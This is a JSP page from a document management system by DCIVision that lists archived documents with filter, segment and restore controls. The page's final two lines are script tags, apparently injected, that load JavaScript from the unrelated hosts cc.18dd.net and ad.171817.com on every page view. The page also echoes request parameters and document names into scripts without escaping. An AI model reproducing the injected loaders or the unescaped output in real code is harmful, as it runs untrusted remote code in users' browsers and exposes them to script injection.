<%
/*
 * @(#)ListDmsArchiveDetail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsArchiveDetail.jsp

  This is a ListDmsArchiveDetail page.  It shows the System User Defined Index in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      23/10/2003
    @version            $Revision: 1.19.26.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsArchiveDetailForm" scope="request" class="com.dcivision.dms.web.ListDmsArchiveDetailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsArchiveDetailList";

  String[][]  HEADER_MAP = {{"ID", "ID"},
                            {"dms.label.archive_name_desc",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.archive_name",GlobalConstant.NOT_AVAILABLE}
                          };

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.archive_segment", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.name_D", "B.DOCUMENT_NAME"},
                            {"dms.columnheader.ver_label", GlobalConstant.NOT_AVAILABLE}
                          };

    String[][] SEARCH_MAP = {
                            {"dms.label.name_D", "B.DOCUMENT_NAME"},
                            {"dms.columnheader.ver_label", "C.VERSION_LABEL"}
                };

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   boolean allowSpecificVersion = Boolean.valueOf(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_ARCHIVE_ALLOW_RESTORE_SPECIFIC_VERSION)).booleanValue();

   String archiveID=request.getParameter("archiveID");
   DmsArchiveDAObject dmsArchiveDAO=new DmsArchiveDAObject(sessionContainer,conn);
   DmsArchive dmsArchive=(DmsArchive)dmsArchiveDAO.getObjectByID(TextUtility.parseIntegerObj(archiveID));

   List originalList=(List)request.getAttribute("originalList");
   List dmsArchiveDetailList=(List)request.getAttribute("dmsArchiveDetailList");
   String segID=request.getParameter("archiveSegmentID");

   String archID ="";
   if (TextUtility.parseIntegerObj(archiveID) != null && TextUtility.parseIntegerObj(segID) != null){
     DmsArchiveDetailDAObject dmsArchiveDetailDAO = new DmsArchiveDetailDAObject(sessionContainer,conn);
     DmsArchiveDetail dmsArchDetail = null;
     List restoreAll = dmsArchiveDetailDAO.getListByArchiveIDSegmentID(TextUtility.parseIntegerObj(archiveID),TextUtility.parseIntegerObj(segID));
     for (int i=0;i<restoreAll.size();i++){
       dmsArchDetail = (DmsArchiveDetail)restoreAll.get(i);
       archID = archID + "," + dmsArchDetail.getID();
     }
   }
%>
<script language="javascript">
<!--
function OpSearchByPeriodType(period){
    document.listDmsArchiveDetailForm.periodType.value=period;
    document.listDmsArchiveDetailForm.submit();
    return false;
}

function OpCustListReset(frm){
  document.listDmsArchiveDetailForm.archivedFrom.value='';
  document.listDmsArchiveDetailForm.archivedTo.value='';
  document.listDmsArchiveDetailForm.periodType.value='';
  OpListReset(frm);
}

function OpCustList(frm, sortValue, sortOrder) {
//  document.listDmsArchiveDetailForm.periodType.value='';
  if(document.listDmsArchiveDetailForm.archivedFrom.value != "" && document.listDmsArchiveDetailForm.archivedTo.value != "")  {
    if (compareDateValue(document.listDmsArchiveDetailForm.archivedFrom.value,document.listDmsArchiveDetailForm.archivedTo.value,true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_time'/>");
      return (false);
    }
  }
  OpList(frm, sortValue, sortOrder);

}

function addSelected() {
  //alert('list count: '+document.listDmsArchiveDetailForm.listCnt.value);
  listCnt = parseInt(document.listDmsArchiveDetailForm.listCnt.value);
  var selectField = document.listDmsArchiveDetailForm.displayList;
  var hiddenField = document.listDmsArchiveDetailForm.selectedDoc;
  var hiddenStr = hiddenField.value;
  for (var i=0; i<=listCnt; i++) {
    versionSelect = eval("document.listDmsArchiveDetailForm.doc"+i);
    doc_id = eval("docObj"+i+"_docID");
    doc_name = eval("docObj"+i+"_docName");
    //alert(versionSelect.options[versionSelect.selectedIndex].value);
    if (versionSelect.selectedIndex == 1) {
      //alert('ALL');
      for (var j=2; j<versionSelect.length; j++) {
        var strArray = versionSelect.options[j].value.split(":");
        var displayStr = doc_name + " (" + strArray[1] + ")";
        var valueStr = doc_id + ":" + strArray[0];
        hiddenStr = hiddenStr + valueStr + "|" + displayStr + ",";
        selectField.options[selectField.length] = new Option (displayStr, valueStr );
      }
    } else if (versionSelect.selectedIndex > 1) {
      var strArray = versionSelect.options[versionSelect.selectedIndex].value.split(":");
      var displayStr = doc_name + " (" + strArray[1] + ")";
      var valueStr = doc_id + ":" + strArray[0];
      hiddenStr = hiddenStr + valueStr + "|" + displayStr + ",";
      selectField.options[selectField.length] = new Option( displayStr, valueStr);
    } else {
      //alert('no need to restore');
    }
    versionSelect.selectedIndex = 0;
    newOption = parseInt(selectField.length);

  }
  if (hiddenStr.length > 0) {
    hiddenStr = hiddenStr.substring(0, hiddenStr.length-1);
  }
  hiddenField.value = hiddenStr;
  return false;
}

function removeSelected() {
  var selectedDoc = document.listDmsArchiveDetailForm.displayList;
  var hiddenField = document.listDmsArchiveDetailForm.selectedDoc;
  var hiddenStr = "";
  for (var i=selectedDoc.length-1; i>=0; i--) {
    if (selectedDoc.options[i].selected) {
      selectedDoc.options[i] = null;
    }
  }
  for ( var i=0; i<selectedDoc.length; i++) {
    hiddenStr = hiddenStr + selectedDoc.options[i].value + "|" + selectedDoc.options[i].text + ",";
  }
  if (hiddenStr.length > 0) {
    hiddenStr = hiddenStr.substring(0, hiddenStr.length-1);
  }
  hiddenField.value = hiddenStr;
  return false;
}

function CustOpRestore(){
  var archiveDetailID='';
  var hasBasicSelectedID=false;
 if (window.document.listDmsArchiveDetailForm.restoreAll.checked){
  if ("<%=archID%>" != ""){
    window.location.href="MaintDmsRestore.do?archiveID=<bean:write name='listDmsArchiveDetailForm' property='archiveID'/>&restoreType=A&archiveSegmentID=<%=segID%>&basicSelectedID=<%=archID%>";
  }else{
    alert("<bean:message key='dms.message.no_file_to_restore'/>");
  }
 }else{
   for (var i = 0; i < document.listDmsArchiveDetailForm.elements.length; i++) {
    if (document.listDmsArchiveDetailForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsArchiveDetailForm.elements[i].checked) {
        hasBasicSelectedID = true;
        break;
      }
     }
   }
  if (hasBasicSelectedID) {
    if(parseInt(document.listDmsArchiveDetailForm.basicSelectedID.length)>1){
      for(var i=0;i<parseInt(document.listDmsArchiveDetailForm.basicSelectedID.length);i++){
        if(document.listDmsArchiveDetailForm.basicSelectedID[i].checked==true){
        archiveDetailID=archiveDetailID+","+document.listDmsArchiveDetailForm.basicSelectedID[i].value;
    }
      }
    }else{
      if(document.listDmsArchiveDetailForm.basicSelectedID.checked==true){
        archiveDetailID=archiveDetailID+","+document.listDmsArchiveDetailForm.basicSelectedID.value;
      }
    }
    window.location.href="MaintDmsRestore.do?archiveID=<bean:write name='listDmsArchiveDetailForm' property='archiveID'/>&restoreType=A&archiveSegmentID=<%=segID%>&basicSelectedID="+archiveDetailID;
  } else {
    alert("<bean:message key='dms.message.no_file_to_restore'/>");
  }
}
return false;
}

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  if (jsDate1==null && jsDate2==null) {
    return 0; //treat as the same
  } else if (jsDate1==null) {
    return 1; //date 2 is later
  } else if (jsDate2==null) {
    return -1; //date 1 is earlier
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0 || jsDate1-jsDate2==0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsArchiveDetail" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="periodType"/>
<html:hidden property="archiveID"/>
<html:hidden property="archiveSegmentID"/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
        <layout:returnButton className="btn-standard" returnURL='<%="ListDmsArchive.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </div>
    <layout:filterControl/>
</div>

<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.view'/>
                </td>
                <td colspan="2" nowrap>
                    <logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='today'></a></logic:notEqual>
      &nbsp;|&nbsp;
      <logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='week'></a></logic:notEqual>
      &nbsp;|&nbsp;
      <logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='month'></a></logic:notEqual>
      &nbsp;|&nbsp;
      <logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='listDmsArchiveDetailForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='listDmsArchiveDetailForm' property='periodType' value='full'></a></logic:notEqual>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='dms.label.archive_date'/>
                </td>
                <td colspan="2" nowrap>

      <html:datepicker property='archivedFrom'/>
      &nbsp;<bean:message key='common.label.access_to'/>
      &nbsp;<html:datepicker property='archivedTo'/>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsArchiveDetailForm, '${listDmsArchiveDetailForm.sortAttribute}', '${listDmsArchiveDetailForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsArchiveDetailForm))"/>
    </div>
    <br style="clear:both" />
</div>

<!-- Table Heading Begin -->
<!-- Table Heading End -->
<div id="dataGrid" class="listTable">
<table>
  <tr>
    <td  class="formLabelSmall"><bean:message key="dms.label.archive_name_desc"/></td>
    <td  class="formLabelSmall"><bean:message key="dms.label.archive_name"/></td>
  </tr>
  <tr class="listContent">
    <td align="center"><bean:message key="dms.label.segments"/></td>
    <td align="center"><%=dmsArchive.getArchiveName()%></td>
  </tr>
  <tr class="listContent">
    <td colspan="2">
  <%
  String archiveSegmentID="";
  for(int i=0;i<originalList.size();i++){
    Integer segmentID=((DmsArchiveDetail)originalList.get(i)).getArchiveSegmentID();
    if(segmentID.intValue()<10){
      archiveSegmentID="[00"+segmentID+"]";
    }else if(segmentID.intValue()>=10 && segmentID.intValue()<100){
      archiveSegmentID="[0"+segmentID+"]";
    }else{
      archiveSegmentID="["+segmentID+"]";
    }
  %>
  <a href="ListDmsArchiveDetail.do?archiveID=<%=dmsArchive.getID()%>&archiveSegmentID=<%=segmentID%>"><%=archiveSegmentID%></a>
  <%}%>
  </td>
  </tr>
  </table>
</div>
  <%if(dmsArchiveDetailList.size()>0){%>
  <layout:listBar>
    <div class="button">
    <%if (!Utility.isEmpty(listDmsArchiveDetailForm.getArchiveID())) { %>
                  <html:standardButton label="dms.label.restore" onClick="return CustOpRestore()"/>
                  &nbsp;&nbsp;<input type="checkbox" name="restoreAll"><bean:message key="dms.label.restoreAll"/>
              <%}%>
    </div>
    </layout:listBar>
  <!-- Table Showing Record List Begin -->
  <div id="dataGrid" class="listTable">
  <table>
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listDmsArchiveDetailForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsArchiveDetailForm.getSortAttribute()%>" sortOrder="<%=listDmsArchiveDetailForm.getSortOrder()%>" copyColumn="false" editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="archiveDetail" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)archiveDetail).getID()%>);">
  <%DmsDocument dmsDocument=(DmsDocument)docRetrievalManager.getDocument(((DmsArchiveDetail)archiveDetail).getDocumentID());%>
    <td align="center">
    <%if(DmsVersion.ARCHIVED_STATUS.equals(dmsDocument.getItemStatus())){%>
        <input type="checkbox" name="basicSelectedID" value="<bean:write name='archiveDetail' property='ID'/>" onclick="return(false);">
   <%}else{%>
     <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
   <%}%>
   </td>

   <td align="center">
    <%
    Integer segmentID=((DmsArchiveDetail)archiveDetail).getArchiveSegmentID();
    if(segmentID.intValue()<10){
      archiveSegmentID="00"+segmentID;
    }else if(segmentID.intValue()>=10 && segmentID.intValue()<100){
      archiveSegmentID="0"+segmentID;
    }else{
      archiveSegmentID=segmentID.toString();
    }%>
    <%=archiveSegmentID%></td>
    <%

     DmsDocument rootFolder = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
     String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT,dmsDocument.getParentID());
     %>
      <td nowrap ><nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>'/></nobr></td>
    <% if (allowSpecificVersion) { //version selection box%>
      <td align="center"><%
        List versionList = ((DmsArchiveDetail)archiveDetail).getVersionList();
        %><select name="doc<bean:write name='listLoopCnt'/>">
          <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
          <option value="ALL"><bean:message key='common.options.select_menu.all'/></option>
        <% for(int i=0; i<versionList.size(); i++) {
            DmsVersion version = (DmsVersion) versionList.get(i);
            out.println("<option value=\""+version.getID()+":"+version.getVersionLabel()+"\">"+version.getVersionLabel()+"</option>");
           }
        %>
        </select>
      </td>
      <script language="javascript">
        docObj<bean:write name='listLoopCnt'/>_docID='<%=((DmsArchiveDetail)archiveDetail).getDocumentID()%>';
        docObj<bean:write name='listLoopCnt'/>_docName='<%=((DmsArchiveDetail)archiveDetail).getDocumentName()%>';
      </script>
    <% } else { %>
      <td><bean:write property='versionLabel' name='archiveDetail'/></td>
    <% } %>
    </tr>
    </logic:iterate>
    <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
    <!-- Record Looping End -->
  </table>
  </div>

<!-- Pager Information Begin -->
<div class="listStatusBar">
<layout:pager form="listDmsArchiveDetailForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
</layout:pager>
</div>
<!-- Pager Information End -->
  <%}%>
<!--</td>-->
<% if (allowSpecificVersion) { %>
<!--<td>-->
  <table cellpadding="3" cellspacing="1" border="0" width="100%">
    <tr>
      <td>
        <html:standardButton label="common.label.select" onClick="return addSelected()"/>
      </td>
    </tr>
    <tr>
      <td>
        <html:standardButton label="dms.label.field_detail" onClick="return removeSelected()"/>
      </td>
    </tr>
  </table>
  <table cellpadding="3" cellspacing="1" border="0" width="100%" bgcolor="#FFFFFF">
    <tr>
      <td>
        <select name='displayList' size='20' multiple style="width:200px">
      <%
        String hiddenStr="";
        String[] selectedDoc = listDmsArchiveDetailForm.getSelectedDoc();
        for (int i=0; selectedDoc!=null && i<selectedDoc.length; i++) {
          String valueStr="", textStr="";
          StringTokenizer tokenizer = new StringTokenizer(selectedDoc[i], "|");
          if (tokenizer.hasMoreTokens()) { valueStr = tokenizer.nextToken(); }
          if (tokenizer.hasMoreTokens()) { textStr = tokenizer.nextToken(); }
          out.println("<option value=\""+valueStr+"\">"+textStr+"</option>");
          hiddenStr += valueStr + "|" + textStr + ",";
        }
      %>
        </select>
        <html:text property='selectedDoc' value='<%=hiddenStr%>'/>
      </td>
    </tr>
  </table>
<!--</td>-->
<% } %>
<!--</tr>
</table>-->
<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>